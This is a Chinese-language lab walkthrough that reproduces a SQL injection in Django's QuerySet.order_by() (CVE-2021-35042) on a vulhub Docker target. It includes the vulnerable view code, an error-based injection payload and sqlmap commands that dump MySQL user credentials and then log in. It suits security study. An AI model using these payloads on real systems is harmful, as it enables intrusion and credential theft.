Django QuerySet.order_by() SQL注入漏洞复现

Django QuerySet.order_by() SQL注入漏洞复现

靶机在vulhub文件夹中打开终端,输入命令

cd django/CVE-2021-35042
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose ps

可以看到一共开了两个容器,一个是web服务的容器,一个是数据库的容器

访问web页面,此时页面会提示你到/vuln路径下,该页面的源码是

from django.shortcuts import HttpResponse
from .models import Collection

# Create your views here.


def vul(request):
    query = request.GET.get('order', default='id')
    q = Collection.objects.order_by(query)
    return HttpResponse(q.values())

我们可以看到该页面有可上传的参数order,当我们输入URL:http://靶机IP:8000/vuln/?order=1时可以看到页面提示order值应该为id或者name

Django QuerySet.order_by() SQL注入漏洞复现_第1张图片
然后就可以通过输入特定内容进行排序,说明order_by()函数正常,这时候使用一些特殊符号如

> .
> '
> ''
> (
> )
> ;

等等进行引发错误,当输入 . 时发现引发了一个特殊错误,可以看到该处的SQL语句包含了括号

Django QuerySet.order_by() SQL注入漏洞复现_第2张图片我们可以尝试继续在 . 后面添加其他参数,如添加.id时发现与id内容相同,说明该处存在注入点,可以使用以下命令验证注入点存在

.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23

那么我们打开 kali 终端,输入命令:

sqlmap -u "http://靶机IP:8000/vuln/?order=.id" --dbs --threads=10 

然后就可以得到其数据库名

Django QuerySet.order_by() SQL注入漏洞复现_第3张图片
该网页使用的数据库是cve,一般情况下应该继续挖掘cve数据中的用户账号密码,但是该靶机中并没有用户列表等内容,所以我们可以挖掘该网页数据库的账号密码

继续输入命令

sqlmap -u "http://靶机IP:8000/vuln/?order=.id -D mysql --tables

Django QuerySet.order_by() SQL注入漏洞复现_第4张图片
发现用户表user,继续输入命令

sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user --column

Django QuerySet.order_by() SQL注入漏洞复现_第5张图片

发现用户名,主机地址以及密码,输入命令

sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user -C User,authentication_string,Host --dump

Django QuerySet.order_by() SQL注入漏洞复现_第6张图片

现在就获得了靶机数据库的账号和密码,一般情况下应该继续输入命令

mysql -h靶机IP -uroot -pmysql

但是该靶场中数据库使用的是单独容器,而且该容器没有使用特定IP地址,如果我们使用上述的命令,连接到的是靶机本机的数据库,而不是容器本身的数据库,为了验证正确性,我们可以到靶机中进入数据库容器中

输入命令

mysql-uroot -pmysql

Django QuerySet.order_by() SQL注入漏洞复现_第7张图片

登录成功,密码正确

你可能感兴趣的:(django,sql,网络安全,web安全)